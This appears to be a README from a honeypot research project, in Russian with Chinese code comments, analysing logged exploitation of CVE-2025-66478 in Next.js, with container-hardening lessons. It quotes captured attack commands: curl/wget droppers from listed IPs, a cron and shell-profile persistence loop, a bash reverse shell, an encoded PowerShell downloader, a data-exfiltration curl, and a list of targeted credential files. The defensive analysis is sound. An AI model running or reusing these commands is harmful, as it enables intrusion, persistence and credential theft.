
Реальный анализ журналов атак CVE-2025-66478 (RCE в Server Actions Next.js) с образцами вредоносного ПО, отслеживанием IP-адресов атакующих и уроками по усилению безопасности контейнеров.
В этом проекте собраны журналы реальных атак, зафиксированные приложением Next.js 15.1.2, которое было доступно в интернете и работало в Docker-контейнере. Эти журналы показывают, как уязвимость CVE-2025-66478 массово сканируется и эксплуатируется в дикой природе многочисленными автоматизированными инструментами атак.
Период записи: 2025-12-04 ~ 2025-12-06 (примерно 48 часов)
Сведения об окружении:
Злоумышленники использовали уязвимость для выполнения команд, загружающих и запускающих вредоносное ПО.
| IP источника атаки | URL вредоносной нагрузки | Описание |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Ботнет/майнер |
| 38.207.161.212 | http://38.207.161.212/agent | Вредоносная программа-агент |
| 43.156.63.124 | http://43.156.63.124/tsd | Cron-бэкдор |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Вредоносное ПО, маскирующееся под nginx |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | Скрипт IoT-ботнета |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Майнер/бэкдор |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Вредоносный скрипт |
| 38.12.24.231 | http://38.12.24.231/kworker | Вредоносное ПО, маскирующееся под kernel worker |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Скрипт инициализации |
# 典型的 dropper 攻擊
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# 植入 cron 持久化後門
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# 複雜的持久化攻擊(嘗試多種下載方式 + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Злоумышленники пытались установить обратное shell-соединение для получения интерактивного доступа.
# Bash 反向 shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Злоумышленники предполагали, что цель работает на Windows, и пытались выполнять PowerShell-команды.
# Base64 編碼的惡意 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# 解碼後:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# 數學計算用於漏洞確認
powershell -c "41*271" # = 11111(特徵碼確認)
powershell -c "44225*41002" # = 1814113450
Злоумышленники пытались собрать информацию о системе для последующих атак.
# 系統資訊收集並外傳
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Злоумышленники пытались прочитать различные чувствительные файлы и учётные данные.
Переменные окружения контейнера, которые удалось выгрузить через уязвимость:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Злоумышленники использовали DNS-запросы для эксфильтрации данных или подтверждения уязвимости:
ping 5a58e4a0.log.dnslog.pp.ua.
Большинство атак провалилось из-за минималистичности контейнера на базе Alpine Linux:
| Отсутствующий инструмент | Последствие |
|---|---|
curl | Невозможно загрузить вредоносную нагрузку |
bash |
Хотя wget доступен, некоторые вредоносные скрипты внутри по-прежнему зависят от curl или bash, что приводит к сбою их выполнения.
Журналы содержат большое количество данных в кодировке Base64. Ниже приведены некоторые результаты декодирования:
# digest: 'cm9vdAo='
解碼: root
# digest: 'dGVzdAo='
解碼: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
解碼: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
解碼: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# /tmp 目錄內容
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
解碼:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
Ниже перечислены IP-адреса источников атак, зафиксированные в журналах:
Злоумышленники пытались вызвать несуществующие Server Actions:
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
Злоумышленники использовали поле digest в сообщениях об ошибках для утечки данных:
Error: x
digest: 'cm9vdAo=' // Base64 編碼的 'root'
curl, bash, python, которые могут быть использованы во зло--read-onlyДанный проект предназначен исключительно для образовательных и исследовательских целей в области кибербезопасности. Все зафиксированные атаки — это реальные попытки атак, направленные на исследовательский honeypot. Не используйте эту информацию в незаконных целях.
В этом проекте собраны реальные образцы вредоносного ПО, извлечённые из журналов атак и скачанные для анализа. Подробный анализ см.:
MIT License
| Категория | Путь |
|---|
| Облачные учётные данные | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| SSH-ключи | /root/.ssh/id_rsa, /root/.ssh/config |
| Учётные данные Git | /root/.git-credentials, /root/.gitconfig |
| Контейнер/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Приложения | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| История Shell | /root/.bash_history, /root/.zsh_history |
| Облачные инструменты | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| Системные настройки | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
| Невозможно выполнить bash-специфичный синтаксис (например, реверс-шелл) |
powershell | Windows-атаки неэффективны |
python | Невозможно использовать Python-загрузчик |
| IP-адрес | Страна/регион (предположительно) | Тип атаки |
|---|
| 216.158.232.43 | США | Dropper |
| 38.165.44.205 | США | Dropper |
| 23.95.44.80 | США | Dropper |
| 154.38.121.219 | Гонконг | Malware (nginx3) |
| 38.207.161.212 | США | Agent |
| 43.156.63.124 | Китай | Cron-бэкдор |
| 47.79.42.91 | Китай (Alibaba Cloud) | IoT-ботнет |
| 47.79.65.237 | Китай (Alibaba Cloud) | Майнер |
| 119.45.243.154 | Китай (Tencent Cloud) | Майнер |
| 144.22.210.54 | Бразилия | Dropper |
| 217.60.249.228 | Швеция | Dropper |
| 154.26.192.32 | США | Реверс-шелл |
| 156.234.209.103 | Неизвестно | PowerShell-нагрузка |
| 38.60.212.106 | США | Сбор информации |
| 103.135.101.15 | Вьетнам | Ботнет |
| 128.199.194.97 | Сингапур (DigitalOcean) | Setup-скрипт |
| 38.12.24.231 | США | Устойчивое вредоносное ПО |
| Файл | Тип | Размер | Источник | Уровень угрозы |
|---|
| nz.sh | Shell Script | 931 B | iot.632313373.xyz | Средний |
| tsd.sh | Shell Script | 1.7 KB | 43.156.63.124 | Высокий |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | Высокий |
| init.sh | Shell Script | 6.1 KB | AWS S3 | Критический |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | Критический |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | Критический |